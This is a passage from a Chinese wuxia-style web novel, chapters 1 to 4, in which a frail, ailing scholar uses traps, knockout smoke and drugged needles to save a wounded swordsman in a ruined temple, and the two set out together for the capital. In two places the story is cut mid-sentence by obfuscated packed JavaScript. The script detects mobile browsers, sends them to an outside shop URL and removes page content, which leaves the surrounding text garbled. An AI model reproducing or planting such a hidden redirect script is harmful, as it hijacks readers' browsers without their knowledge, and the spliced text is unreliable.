《云辞无名》 1. 第 1 章 第一章雨夜破庙 永昌十九年,惊蛰刚过,北地的春寒仍料峭入骨。 暮色四合时分,铅灰色的云层沉沉压向连绵的燕山余脉,山风穿过嶙峋怪石,发出呜咽般的声响。崎岖的山道上,一辆青篷马车正不疾不徐地前行,车轮碾过碎石,发出单调的轱辘声。 驾车的是个头发花白的老仆,裹着厚实的棉袄,不时回头朝车厢内望一眼,面上带着忧色。 “砚哥儿,这雨看着要下来了,前头好像有座破庙,咱们要不要歇歇脚?” 车内传来几声压抑的轻咳,随即是个清朗却略显中气不足的声音:“忠伯做主便是。” 话音未落,一道惨白的电光撕裂天际,紧接着闷雷滚过山谷,豆大的雨点噼里啪啦砸了下来。老仆不敢耽搁,扬鞭催马,赶在雨势滂沱前,将马车赶进了山路旁一座半塌的山神庙院里。 庙门早已不知去向,门楣上“山神庙”三字牌匾斜挂着,被风吹得吱呀作响。院中杂草丛生,正殿的屋顶塌了小半,雨水顺着破洞哗哗往里灌,但靠东墙的一角还算干燥。 老仆利落地卸了马,将车厢里一个靛青布包裹和一摞书箱搬进殿内,又返身扶下一位少年。 那少年约莫十七八岁年纪,身披素白鹤氅,内里是半旧的月白直裰,身形清瘦得有些单薄。他脸色在昏暗中显得格外苍白,唯有一双眼睛亮得出奇,像是将窗外所有的天光都敛了进去。 这便是江清砚,江南润州人士,此去京城,是为参加今春礼部会试。 他幼时便有神童之名,三岁能诵诗,七岁通经义,十二岁考中秀才,十五岁乡试解元。只是天妒英才,他先天不足,患有心疾,自幼体弱,长途跋涉于他而言不啻于酷刑。此番北上,家中本极力劝阻,他却只笑着摇头:“读了十七年书,总要试试看这天下有多大。” “砚哥儿,快坐下歇歇。”忠伯麻利地扫出一块干净地面,铺上油布和褥子,又生了堆火。橘黄的火光跳动起来,勉强驱散了殿内阴森的寒气。 江清砚在褥子上坐下,从书箱中取出一卷《通鉴纪事本末》,就着火光翻阅。他读书时神情极专注,微蹙的眉头下,长睫在苍白的脸颊上投下一小片阴影,偶尔有细碎的咳嗽声从唇边溢出,他便抿一口忠伯递上的热参茶压下去。 殿外雨势更急,天地间白茫茫一片,只有雨打残瓦的哗啦声和偶尔滚过的闷雷。山风从破窗灌入,吹得火苗摇曳不定。 忽然,江清砚翻书的动作顿了顿。 他抬起头,侧耳倾听。 除了风雨声,似乎……还有别的声音。 “忠伯,你听见了吗?” 忠伯正就着火光缝补一件旧衣,闻言茫然抬头:“什么?哦,是风声吧?” 江清砚放下书卷,撑着身旁的供桌缓缓起身。他走到破窗边,透过残缺的窗棂朝外望去——院门外漆黑的山道上,隐约有急促的马蹄声由远及近,夹杂着某种金属交击的锐响,以及……压抑的呼喝。 那不是普通的赶路人。 几乎是同时,马蹄声在庙门外戛然而止。沉重的落地声,踉跄的脚步声,还有浓重的、被雨水稀释却依然刺鼻的血腥味,顺着风飘进殿内。 “有人受伤了。”江清砚低声道,声音里听不出慌乱,只有一种沉静的分析意味。 “哎哟,这荒山野岭的……”忠伯吓得手一抖,针扎了指头,连忙起身护在江清砚身前,“砚哥儿莫要出去,老奴去看看——” 话音未落,庙门方向传来“砰”的一声闷响,像是有人重重撞在了门板上。紧接着,一道黑影跌跌撞撞闯入院中,几乎是滚进了正殿前的屋檐下。 借着殿内透出的火光,能勉强看清那是个身着黑色劲装的少年。他浑身湿透,雨水混着暗红的血从衣角往下淌,在青石板上洇开触目惊心的痕迹。他左手紧握着一柄窄刃长刀,刀身已崩了几处缺口,血水顺着刀槽滴落;右手则捂在左腹处,指缝间不断有鲜血涌出。 最骇人的是他脸上——不知是血还是泥污,糊了大半张脸,唯有一双眼睛在昏暗中亮得慑人,像极了负伤后犹自戒备的狼。 黑衣少年抬起头,正对上殿内江清砚的目光。 那一瞬间,江清砚看见了他眼中翻滚的杀意、痛楚,以及濒临极限的疲惫。但也只是一瞬,少年便像是耗尽了所有力气,身体晃了晃,靠着门框滑坐下来,手中刀“哐当”落地。 “砚哥儿,这、这人……”忠伯吓得声音发颤。 江清砚却已迈步朝殿门走去。他脚步很轻,甚至有些虚浮,但每一步都踏得极稳。他在距离黑衣少年五步远处停下,目光快速扫过对方——伤口在左腹偏上,不是致命处,但失血过多;呼吸急促浅乱,有内伤;握刀的虎口崩裂,指关节多处擦伤…… “你伤得很重。”江清砚开口,声音平静温和,仿佛在陈述“今日有雨”这样的事实。 黑衣少年猛地抬眼,眼神锐利如刀。他张了张嘴,似乎想说什么,却只咳出一口血沫。 就在这时,山道方向再次传来马蹄声——不止一匹,至少有四五骑,正朝破庙疾驰而来!马蹄踏破水洼的声音在雨夜中格外清晰,越来越近。 黑衣少年瞳孔骤缩,挣扎着想站起来,却牵动伤口,闷哼一声又跌坐回去。他看向江清砚,眼中第一次闪过近乎绝望的焦急,嘶声道:“走……你们快走……” 江清砚却忽然转身,快步走回火堆旁。 “砚哥儿!咱们快从后门走吧!”忠伯急得去拉他衣袖。 “来不及了。”江清砚的声音依旧平稳。他弯腰,从书箱底层摸出一个巴掌大的紫檀木盒,打开,里面是几排细如牛毛的银针,以及几个塞着软木塞的小瓷瓶。他取出一瓶,拔开塞子,将其中淡黄色的粉末尽数倒进火堆里。 “嗤”的一声轻响,火苗猛地窜高,腾起一股淡得几乎看不见的烟雾,带着一种奇异的、类似檀香又混着辛辣的气息,迅速弥漫开来。 “闭气。”江清砚低声对忠伯道,自己已用袖口掩住口鼻。 几乎在烟雾散开的同时,庙门外传来马蹄急停的嘶鸣,以及沉重的落地声。四五道黑影闯入院中,俱是黑衣蒙面,手持利刃,杀气腾腾。为首一人身形高大,目光如电般扫过殿内,落在屋檐下的黑衣少年身上,狞笑一声:“谢云辞,看你还能逃到哪里去!” 话音未落,他已踏步上前。 可就在他踏入正殿门槛的瞬间,异变陡生。 那人脚下一绊,像是踩中了什么滑腻之物,竟一个踉跄向前扑去。他反应极快,刀尖点地想要稳住身形,却不料地面青砖缝隙中陡然弹起几根近乎透明的丝线,刷刷缠上他的脚踝——那丝线看似纤细,却坚韧异常,瞬间将他绊倒在地! “有埋伏!”身后同伙厉喝,却不敢贸然上前。 为首那人倒地时,恰好吸入了殿内弥漫的淡烟。他刚想爬起,却觉四肢一阵发麻,眼前发黑,竟是提不起半分力气! “烟里有毒!”他终于反应过来,嘶声大吼,“屏住呼吸!杀了他们!” 其余四人闻言,立刻以袖掩面,持刀便要冲入。 江清砚此时已退至供桌旁。供桌上除了一尊斑驳的山神泥像,还散落着许多年节时附近村民供奉的香烛、破碗等杂物。他目光扫过,伸手抓起一把不知何时剩下的香灰,扬手朝冲在最前的两人撒去! 那香灰原本没什么威力,可江清砚撒出的角度极其刁钻——正迎着一阵从破窗灌入的穿堂风。香灰被风一卷,劈头盖脸扑向那两人眼睛。两人本能闭眼挥刀格挡,动作一滞。 就在这一滞的瞬间,江清砚左手在供桌下一按——那里有个极隐蔽的机括,是他方才起身时便已摸到的。只听“咔哒”轻响,供桌上方一块松动的横梁陡然坠落,带着积年的灰尘和碎瓦,轰然砸向那两人! 两人虽闭着眼,却听风辨位,急忙后跃闪躲。这一躲,便撞上了身后同伴,四人顿时挤在并不宽敞的殿门口,乱成一团。 而江清砚已趁机从木盒中取出三枚银针。针尖在火光下泛着幽蓝的光——那是淬了麻药的痕迹。他手指修长稳定,拈针,屈指,弹射。 动作行云流水,无声无息。 最外侧一人正要挥刀劈开落下的碎木,忽觉颈侧微微一麻,像是被蚊虫叮了一口。他起初不以为意,可不过两个呼吸,那股麻痹感便迅速蔓延至半边身子,手中刀“当啷”落地,整个人软软瘫倒。 “老四!”旁边同伴惊呼,还没看清是怎么回事,自己肋下也是一麻,旋即步了后尘。 转瞬间,五人已倒其三。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863477|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>剩下两人终于骇然变色。他们这才真正看清殿内情形——火堆旁站着个面色苍白的文弱书生,衣着朴素,身形单薄,看起来风吹就倒。可偏偏是这个人,在瞬息之间用匪夷所思的手段放倒了他们三个弟兄! 而他们要找的目标,那个重伤的谢云辞,此刻正靠在门边,怔怔看着这一幕,眼中是同样的难以置信。 “点子扎手!先杀那书生!”一人厉喝,挥刀直扑江清砚。 刀光破空,挟着雨水和杀气,瞬息已至面门。 江清砚没有躲。他也躲不开。他只是静静站着,甚至在刀锋临体的前一瞬,轻轻叹了口气。 然后,他抬起了右手。 手中不知何时多了一个巴掌大的铜制圆筒,简口对准了来袭者。 那人心中警铃大作,可刀势已老,收势不及。只见江清砚拇指在筒底某处一按—— “咻!” 细微的破空声。一道银光自筒中激射而出,快得只能看见残影。 那人只觉得胸口一凉,低头看去,衣襟上多了个细小的孔洞。没有血,没有痛,只有一股冰冷的麻痹感从胸口炸开,瞬间席卷全身。他张了张嘴,却发不出任何声音,直挺挺向后倒去,溅起一片泥水。 最后一人彻底胆寒。他看着倒在地上的四个同伴,又看看那个依旧平静站着的书生,终于发出一声怪叫,竟是转身就逃,连头也不敢回,眨眼间便消失在了雨夜山林之中。 殿内重归寂静。 只有风雨声,火堆的噼啪声,以及地上几人粗重却无力的喘息。 江清砚这才缓缓放下手中的铜筒,袖中的手几不可察地颤抖了一下。他闭了闭眼,压下心头翻涌的气血和眩晕——方才那一系列动作看似从容,实则已耗尽了他本就所剩无几的力气。 “砚哥儿!你没事吧?”忠伯这才回过神来,扑过来上下打量他,老泪纵横,“吓死老奴了,吓死老奴了……” “我没事。”江清砚拍拍忠伯的手,目光转向门边的黑衣少年。 少年也正看着他。 四目相对。 少年眼中的杀意和戒备渐渐褪去,取而代之的是一种极复杂的情绪——震惊,探究,困惑,以及一丝不易察觉的……感激? 江清砚朝他走过去,脚步有些虚浮。他在少年面前蹲下,仔细查看了他腹部的伤口。 “刀伤深约寸半,未伤脏腑,但失血过多。”他低声分析,像是自言自语,又像是在说给对方听,“需要立刻止血缝合。忠伯,取我的药箱来,再烧些热水。” “可、可这些人……”忠伯看着地上横七竖八的黑衣人,声音发颤。 “他们中了‘松筋散’,十二个时辰内动弹不得,说不了话。”江清砚淡淡道,“明日天亮,去报官便是。” 他说着,已从怀中取出一个扁平的银盒,打开,里面是整套的针灸与外科用具,排列得整整齐齐。他取出一把薄如柳叶的小刀,在火上烤了烤,又用烈酒擦拭。 动作娴熟得不像个书生,倒像个行医多年的郎中。 黑衣少年一直沉默地看着他。直到江清砚拿着刀和针线转向他,准备处理伤口时,少年才忽然开口,声音嘶哑干涩: “为什么……救我?” 江清砚手上的动作顿了顿。 他抬起眼,看向少年。 火光跳跃,映亮少年糊满血污的脸。可那双眼睛却亮得惊人,像是淬了寒星的深潭,带着与年龄不符的沉郁和沧桑。 江清砚忽然笑了笑。 那笑容很浅,却莫名有种洗净铅华的澄澈。他低下头,开始清理伤口周围的污血,声音轻得像是在说给自己听: “我娘生前常说,医者仁心,见死不救,有违天道。” “我虽不是医者,”他顿了顿,针尖已刺入皮肉,动作稳得没有一丝颤抖,“但读圣贤书,所学无非‘仁’字而已。” 少年沉默了。 他感受着伤口处传来的、精准而利落的刺痛,看着眼前人低垂的、专注的眉眼,忽然觉得紧绷了不知多久的神经,一点点松懈下来。 殿外,雨势渐歇。 山林重归寂静,唯有檐角残存的积水,一滴,一滴,敲在青石上。 像是某种漫长故事,刚刚叩响了扉页。 2. 第 2 章 第二章无心之善 夜色如墨,将破庙浸得透透的。 火堆的光只照亮方寸之地,更衬得殿角阴影浓重。江清砚处理伤口的动作稳而利落,针刺、穿线、打结,每一个步骤都精准得近乎冷漠,可指间的力道却始终保持着一种刻意的轻柔。 谢云辞——这是黑衣少年刻在刀柄内侧的名字,此刻正靠坐在褪色的山神像基座上,任由江清砚摆弄自己的伤口。麻药的效力让他感受不到太多疼痛,但皮肉被牵扯、缝合的感觉依然清晰。他垂着眼,目光落在江清砚那双修长苍白的手上。 那是一双典型的读书人的手,指节分明,指甲修剪得干净整齐,虎口处有薄薄的茧,那是常年执笔留下的印记。可就是这样一双手,方才弹针、撒灰、启动机关,几乎瞬息之间放倒了四个训练有素的杀手。 矛盾。 “你中的是‘赤蝎散’。”江清砚忽然开口,声音很轻,打破了沉默,“刀上淬的。中毒不深,我已经用银针逼出大半,余毒需连服三日解药。” 他说着,从药箱里取出一个青瓷小瓶,倒出两粒乌黑的药丸:“吞了。” 谢云辞没有接,只是看着他。 江清砚也不催促,将药丸放在他手边一块干净的布帕上,转身去火堆旁提来一个小铜壶,倒了半碗温水,又放回他手边。 做完这一切,他才在对面席地坐下,拿起之前看到一半的《通鉴纪事本末》,就着火光继续读起来。仿佛刚才那场生死搏杀从未发生,仿佛地上还横着的四个黑衣人只是几尊塑像。 谢云辞盯着那两粒药丸看了半晌,终于伸手拿起,就着温水吞了下去。药丸入喉,一股辛辣之气直冲脑门,紧接着是清凉的回甘,左腹伤处那隐隐的灼痛感果然消退了许多。 “你懂医术。”他开口,声音比之前清晰了些,但仍带着失血后的虚弱。 “略通。”江清砚翻过一页书,头也不抬,“家母生前是大夫。” “方才那些机关、毒烟,也是令堂所教?” 这次江清砚顿了顿,抬起眼。火光在他清亮的眸子里跳跃,映出一种近乎透明的质感。“不。”他平静地说,“是我自己琢磨的。我体弱,总得有些防身的手段。” 他说得轻描淡写,可谢云辞却听出了话外的重量。 一个先天心疾、体弱多病的少年,要“琢磨”出能瞬间放倒四个高手的机关毒术,需要看过多少书,试过多少遍,又独自在暗夜里演练过多少次? “你叫什么名字?”谢云辞问。 “江清砚。江河的江,清白的清,砚台的砚。” “赶考的书生?” “嗯。” “去京城?” “嗯。” 一问一答,简洁得像是在对暗号。谢云辞忽然觉得有些荒谬——自己满手血腥,被仇家追杀至此,却在一个萍水相逢的赶考书生这里,得到了一碗温水、两粒解药,和一处暂时的安身之所。 “你不怕我是恶人?”他盯着江清砚的眼睛,声音里带上了刻意的冷意,“或许我杀过人,很多。” 江清砚终于放下了书。 他抬起头,目光平静地迎上谢云辞的审视。那双眼睛太清澈了,清澈到能映出谢云辞自己此刻狼狈而戒备的模样。 “我眼中所见,”江清砚缓缓开口,每个字都吐得清晰,“是一个人在昏迷时,仍死死攥着一枚褪了色的平安扣。” 谢云辞浑身一僵。 他下意识地去摸胸口——那里贴身挂着的,正是一枚用红绳系着的旧铜扣,边缘已被摩挲得光滑,正面刻着模糊的“平安”二字。那是很多年前,阿姐在他第一次离家时,亲手给他系上的。 “你……”他喉结滚动了一下,竟说不出话来。 “我替你处理伤口时看到的。”江清砚重新拿起书,语气恢复了那种平淡,“能这样珍视旧物的人,心中总该存着一点善念。况且——” 他顿了顿,目光扫过地上那四个黑衣人。 “若你真是十恶不赦之人,方才他们追杀你时,大可不必喊出‘谢云辞’这个名字。直接乱刀砍死便是。既报了名号,要么是有恃无恐,要么……”他看向谢云辞,“是恨你入骨,要你死个明白。” 谢云辞的指尖微微发抖。 不是怕,是某种更深层的东西被触动了。这个看起来一阵风就能吹倒的书生,竟在瞬息之间看透了这么多。 “他们是什么人?”江清砚忽然问。 “仇家。”谢云辞答得简短。 “江湖恩怨?” “……算是。” 江清砚点了点头,不再追问。他又翻了一页书,忽然轻咳了几声,苍白的脸上泛起不正常的潮红。他从袖中取出一个小巧的玉瓶,倒出一粒赤色药丸含下,闭目调息片刻,脸色才渐渐恢复。 谢云辞看着这一幕,心中那点戒备不知不觉又松了几分。一个自身难保的病弱书生,确实不像别有用心之人。 “你的伤,”江清砚睁开眼,看向他,“需要静养至少七日,不能动武,不能颠簸。” “我没有七日。”谢云辞声音冷硬,“最迟明日天亮,我必须离开。” “离开?”江清砚微微蹙眉,“去送死?” 谢云辞抿唇不语。 “追杀你的不止这一拨人吧?”江清砚继续道,“方才逃走的那个,定会回去报信。你若此刻离开,不出十里,就会遇上第二批、第三批。以你现在的状态,能撑过几轮?” 每一个字都像针,扎在谢云辞最清醒的认知上。他知道江清砚说得对,可他没有选择。 “我有必须去做的事。”他咬牙道。 “比性命还重要?” “比性命还重要。” 四目相对,空气仿佛凝固了。忠伯在一旁缝补衣物,连呼吸都放轻了,生怕打扰了这微妙的僵持。 许久,江清砚轻轻叹了口气。 那叹息很轻,却莫名带着重量。他合上书,站起身,走到破窗前。窗外雨已停,山风穿过林隙,带来湿润的草木气息。天边隐隐泛起鱼肚白,长夜将尽。 “你要去京城,是吗?”江清砚背对着他,忽然问。 谢云辞一怔:“你怎么知道?” “猜的。”江清砚转过身,脸上没什么表情,“从此处往北,只有两条路。一条通往蓟州,一条直抵京城。蓟州贫瘠,无利可图;京城繁华,是非之地。你身上带着官制佩刀的痕迹,虽已刻意磨去徽记,但制式骗不了人——那是六扇门捕快专用的‘雁翎刀’改的。” 谢云辞瞳孔骤缩。 “你不必紧张。”江清砚走回火堆旁坐下,往火里添了两根柴,“我无意探究你的身份。只是想告诉你,我也要去京城赶考。” 他抬起眼,目光清亮地看着谢云辞。 “此去京城还有三百里,山高路险,盗匪横行。我体弱,忠伯年迈,需要一个护卫。” 谢云辞愣住了:“你……要我同行?” “互惠互利而已。”江清砚语气平静,“我为你治伤,提供掩护;你保我们主仆平安抵达京城。到了京城,你去做你的事,我去考我的试,两不相欠。” 他说得条理分明,仿佛在谈一桩生意。可谢云辞听出了话外的意思——这是个台阶,一个既不伤他尊严,又能救他性命的台阶。 这个书生,在给他留体面。 “为什么?”谢云辞听见自己问,声音干涩,“萍水相逢,何必做到这一步?” 江清砚沉默了。 火光照在他侧脸上,勾勒出清瘦而柔和的轮廓。许久,他才轻声开口: “三年前,我娘病重,我独自上山采药,失足滚落山崖。也是一个路过的陌生人救了我,将我背回家,分文未取,连姓名都没留下。” 他抬起眼,看向谢云辞。 “我娘临终前说,清砚,这世道艰难,人心险恶。可总该有 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伤口处缝合的针脚细密整齐,敷上的药膏清凉镇痛。谢云辞换好衣服,转过身,看见江清砚正将他的刀和那套黑衣收进一个不起眼的藤箱底层,上面盖上书籍和杂物。 “刀我替你收着,到京城再还你。”江清砚头也不抬地说,“至于地上这几位……” 他看向忠伯:“忠伯,天亮后你去山下最近的村子报官,就说遇到劫匪火并,我们侥幸逃脱。不必提细节,官府自会处理。” “哎,老奴明白。”忠伯连连点头。 “那你呢?”谢云辞问。 “我?”江清砚理了理衣袖,重新在褥子上坐下,“我自然是在庙里等你。一个病弱书生,受惊过度,需要休养,不是吗?” 他说这话时,脸上甚至带了一丝极淡的笑意。那笑意让他整个人生动起来,像是水墨画上忽然点了一抹暖色。 谢云辞看着他,忽然意识到——这个看似温润无害的书生,心思之缜密、应变之从容,远超出他表面给人的印象。 “你就不怕我趁你独自一人时,对你下手?”谢云辞忍不住问,话一出口就后悔了——这问题太过尖锐,甚至有些忘恩负义。 可江清砚只是笑了笑。 他拿起那卷《通鉴》,翻开之前看到的那页,声音轻得像是在自言自语: “你若真想对我不利,昨夜有无数次机会。况且——” 他抬起眼,目光平静地落在谢云辞脸上。 “我既然敢救你,自然有把握,你不会。” 谢云辞怔住了。 那是一种毫无保留的信任,纯粹得近乎天真,却又坚定得不容置疑。在这个人人自危、步步为营的世道里,这样的信任太罕见,也太珍贵。 珍贵到让他心头那点仅存的猜疑和防备,都在这一刻土崩瓦解。 殿外,天光渐亮。 第一缕晨光刺破云层,透过破庙顶上的窟窿照进来,落在积满灰尘的供桌上,将那些残破的香烛照得纤毫毕现。山鸟开始啼叫,清脆的鸣声在山谷间回荡。 新的一天开始了。 而一段始料未及的同行之路,也在此刻悄然展开。 江清砚重新低下头看书,侧脸在晨光中显得安静而专注。谢云辞靠在墙边,闭目养神,手却无意识地抚上胸口——那里,褪色的平安扣贴着肌肤,传来温热的触感。 许多年后,当谢云辞再回想这个破庙里的清晨,他依然会清晰地记得那缕光,那卷书,和那个给了他第二次生命的、苍白清瘦的身影。 命运的红线在那一刻悄然系紧。 而他们谁也不知道,前方等待他们的,将是怎样波澜壮阔、生死与共的岁月。 但此刻,在这座荒山破庙里,只有晨光、书香,和两个少年之间,刚刚萌芽的、无声的约定。 3. 第 3 章 第三章墨毒惊敌 晨光彻底漫过山脊时,忠伯揣着几个铜钱和江清砚写就的简短信笺,匆匆下山报官去了。 破庙里只剩下江清砚和谢云辞两人。 江清砚依旧坐在褥子上看书,偶尔提笔在书页边角批注几行小字。他写字时背脊挺得很直,握笔的姿势标准得像是从字帖里拓下来的,只是手腕微微发抖——那是体力不支的迹象。 谢云辞靠墙坐着,闭目调息。麻药效力过去后,伤口开始传来阵阵钝痛,像是有把钝刀在皮肉里慢慢磨。但他习惯了,比这更重的伤他也受过,只要能喘气,就得活着。 只是这一次,有些不同。 他悄悄睁开一条缝,目光落在江清砚身上。少年垂着眼,长睫在苍白的脸颊上投下浅浅阴影,神情专注得仿佛这破庙是翰林院的藏书阁。若不是亲眼所见,谁能相信昨夜那些精妙的机关、凌厉的银针、还有那筒一击制敌的暗器,都出自这双握笔的手? “你的机关术,”谢云辞忽然开口,“师承何人?” 江清砚笔尖顿了顿,抬起头:“没有师承。书上看的。” “书上?”谢云辞挑眉,“什么书能教这些?” “《墨子》《淮南子》《梦溪笔谈》,还有前朝将作监的一些散佚笔记。”江清砚答得流畅,像是早料到他会问,“墨家尚巧,善守御;道家重机变,讲顺势而为。融会贯通,再加以推演,便是机关术。” 他说得轻描淡写,可谢云辞知道这背后意味着什么——那得翻烂多少书,画废多少图纸,又独自在暗室里试验过多少次失败? “那毒烟呢?”谢云辞继续问,“也是书上看的?” 这次江清砚沉默了片刻。 他放下笔,从药箱里取出那个装“松筋散”的瓷瓶,拔开塞子,倒出一点淡黄色的粉末在掌心。粉末细如粉尘,在晨光下泛着奇异的光泽。 “这是‘曼陀罗花粉’混合‘醉鱼草’根茎研磨而成,佐以几味引药。”他声音平静,像是在讲解一道菜谱,“曼陀罗致幻,醉鱼草麻痹,吸入后十二个时辰内浑身无力,口不能言。剂量控制得当,不伤性命。” “你试过?” “试过。”江清砚抬眼看他,眸子里有种近乎天真的坦然,“在老鼠、野狗身上试过,也在自己身上试过。” 谢云辞心头一震。 “为何要学这些?”他听见自己问,声音比预想的要沉。 江清砚重新塞好瓷瓶,轻轻摩挲着瓶身上细腻的冰裂纹。 “我五岁那年,家中遭过一次贼。”他缓缓开口,语气平淡得像在说别人的事,“那贼看我体弱,想将我掳走换赎金。我娘拼死护我,被砍了一刀。我爹赶到时,贼人已翻墙逃走。” 他顿了顿,目光投向窗外苍翠的山林。 “从那以后,我就开始琢磨这些。起初只是想,若有下次,我至少要有能力自保,不拖累爹娘。后来爹娘相继病故,这念头就更重了——我总得活着,活着去京城,考取功名,完成他们的遗愿。” 他说得轻描淡写,可谢云辞却听出了话外的重量。一个自幼体弱、父母双亡的少年,独自撑着一口气走到今天,手里攥着的不仅是笔墨纸砚,还有那些藏在书箱底层的毒药和暗器。 那是一种近乎悲壮的生存智慧。 “你爹娘……”谢云辞开口,又顿住。他本不是多话的人,更不善安慰。 “病故了。”江清砚接得自然,脸上没什么悲戚,只有一种沉淀后的平静,“娘是积劳成疾,爹是伤心过度。都是命数。” 殿内陷入短暂的沉默。 远处传来山雀清脆的啼鸣,衬得这沉默愈发厚重。谢云辞看着江清砚低头整理书卷的侧影,忽然觉得胸口那枚平安扣烫得厉害。 “你的伤,”江清砚忽然转开话题,放下书走过来,“该换药了。” 谢云辞没有拒绝。他解开衣带,露出包扎好的伤口。江清砚蹲下身,动作轻柔地拆开布条,查看缝合处——没有红肿,没有渗液,愈合得比预想中还好。 “你的体质比常人强。”江清砚一边重新上药包扎,一边评价,“恢复速度至少快三成。” “习武之人,习惯了。”谢云辞淡淡道。 “不只是习武。”江清砚抬起眼,目光落在他肩胛、手臂那些新旧交错的疤痕上,“这些伤……有些年头了。” 谢云辞身体微微一僵。 那些疤痕是他过去的印记,是无数次生死搏杀留下的烙印。有些他自己都快忘了来历,可在这个书生清亮的目光下,它们忽然变得无比清晰。 “旧伤了。”他简短地说,不想多谈。 江清砚也不再追问。他重新包扎好伤口,又从药箱里取出一个小纸包:“这是三日的解药,早晚各一丸。赤蝎散余毒不清,日后恐留病根。” 谢云辞接过纸包,捏在手里。纸包很轻,却莫名有分量。 “多谢。”他说。 这两个字说得很生硬,像是很久没说过,舌头都有些打结。江清砚却笑了笑,那笑意很浅,却让他整个人看起来柔和了许多。 “不必。我们说好的,互惠互利。” 他说着站起身,忽然身形晃了晃,下意识扶住旁边的供桌。脸色在瞬间褪得惨白,额角渗出细密的冷汗。 “你怎么了?”谢云辞几乎是本能地伸手去扶,却在触及对方手臂时顿住——那手臂细得惊人,隔着衣袖都能感觉到骨头的形状。 “没事。”江清砚闭了闭眼,从怀里摸出那个玉瓶,倒出一粒赤色药丸含下。片刻后,呼吸才渐渐平稳下来,“老毛病,心疾犯了。歇会儿就好。” 他重新坐下,靠在墙边,闭目调息。长睫微微颤抖,像风中蝶翼。 谢云辞看着他,忽然意识到一件事——昨夜那一系列看似从容的应对,对这个病弱的书生而言,消耗恐怕远超想象。那些机关、毒烟、银针,每一样都需要精密的计算和瞬间的爆发力,而江清砚的身体,根本承受不起这样的消耗。 他是拼着旧疾复发的风险,救了自己。 这个认知让谢云辞胸口发闷。他向来独来独往,习惯了一个人舔伤口,一个人面对生死。可这个萍水相逢的书生,却用最安静的方式,在他坚冰般的心防上凿开了一道裂缝。 “你……”他开口,却不知该说什么。 “忠伯该回来了。”江清砚忽然睁开眼,看向庙门方向,“官府的人若来,你便说是我的远房表亲,同去京城投亲。少说话,一切由我应对。” 他说话时气息仍有些不稳,可思路却清晰得惊人。谢云辞点了点头,将那句未出口的话咽了回去。 就在这时,庙外传来脚步声。 不是一个人,是很多人,杂沓的脚步声混杂着马蹄和铁器碰撞的声响。谢云辞瞬间绷紧身体,手本能地摸向腰间——那里空空如也,他的刀还在江清砚的藤箱里。 “放松。”江清砚低声道,声音里带着安抚的意味,“是官兵。” 话音未落,一群穿着皂衣的衙役已涌入院中,为首的是个留着山羊胡的县尉,腰佩铁尺,目光如鹰般扫过殿内情形。当看到地上横着的四个黑衣人时,他眉头狠狠一皱。 “怎么回事?”县尉踏入殿内,目光在江清砚和谢云辞身上逡巡。 江清砚挣扎着要起身行礼,却被谢云辞按住——这个动作很自然,仿佛他们真是表兄弟。谢云辞自己站起身,朝县尉抱了抱拳:“大人,昨夜我兄弟二人借宿在此,遇上一伙劫匪火并。这些人,”他指了指地上,“是落败的一方,闯进来想抢财物。我略通拳脚,拼死护住舍弟,幸得天佑,贼人内讧,这才……” 他说得半真半假,语气镇定,倒是很有说服力。县尉看了看他染血的衣襟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他歇了片刻,待气息平稳些,便开始收拾行李。书卷、药箱、衣物,一件件归置整齐,动作有条不紊。谢云辞看着他的背影,忽然开口: “你方才说,此去京城三百里,山高路险。” “嗯。” “若真遇上盗匪,你那些机关毒药,够用几次?” 江清砚手上动作顿了顿。他转过身,看向谢云辞,目光清亮而坦然: “所以我才需要你。” 四目相对。 晨光从破窗斜斜照进来,在两人之间投下一道光柱。灰尘在光里飞舞,像细碎的金粉。 谢云辞忽然觉得,这句“需要”很重。重到他冰封多年的心里,有什么东西“咔嚓”一声,裂开了。 “好。”他说,声音比昨夜答应同行时更沉,也更坚定,“到京城之前,我会护你周全。” 这是承诺。 江清砚看着他,脸上没什么表情,可那双清澈的眼睛里,有什么东西微微闪动了一下。像是平静的湖面,被投入了一颗小小的石子。 “那便动身吧。”他转过身,将最后一个书箱捆好,“趁着日头好,多赶些路。” 忠伯套好马车,三人将行李搬上车厢。江清砚先上去,谢云辞紧随其后。车厢不大,两个人对坐,膝头几乎相触。忠伯扬鞭,马车轱辘轱辘驶出破庙院子,碾过青石板路,上了北去的官道。 马车颠簸,江清砚闭目养神,手却无意识地按在胸口。谢云辞看着窗外飞速倒退的山林,手始终按在腰间——那里虽然没了刀,但肌肉记忆还在。 他们都清楚,昨夜只是开始。 前路漫长,危机四伏。但不知为何,当谢云辞收回目光,落在对面那个苍白安静的少年身上时,心里那点惯常的孤寂和紧绷,竟奇异地松了几分。 或许是因为,这趟注定凶险的旅程,终于不再是独行。 马车驶过山道转弯处,破庙彻底消失在视野尽头。朝阳完全升起来了,金灿灿的光泼洒在山野间,将昨夜的雨痕和血色都冲刷得干干净净。 新的路,开始了。 4. 第 4 章 第四章萍水同行 马车在官道上不疾不徐地行了一上午。 北地春日的阳光透过车厢帘隙,在江清砚膝头的书页上投下斑驳光影。他看得专注,偶尔提笔批注,偶尔掩唇低咳,神情安静得像一池深潭。 谢云辞坐在对面,闭目调息,实则五感全开。车轮碾过碎石的每一声响动,林间惊鸟飞起的每一次扑簌,甚至风里隐约的人语马嘶,都逃不过他的耳朵。 这是他多年刀头舐血养成的本能——只要有一丝危险的可能,他就无法真正放松。 “前方三里,有岔路。”谢云辞忽然开口,眼睛仍闭着,“一条官道绕远,但平坦;一条山径近五十里,但险峻。怎么走?” 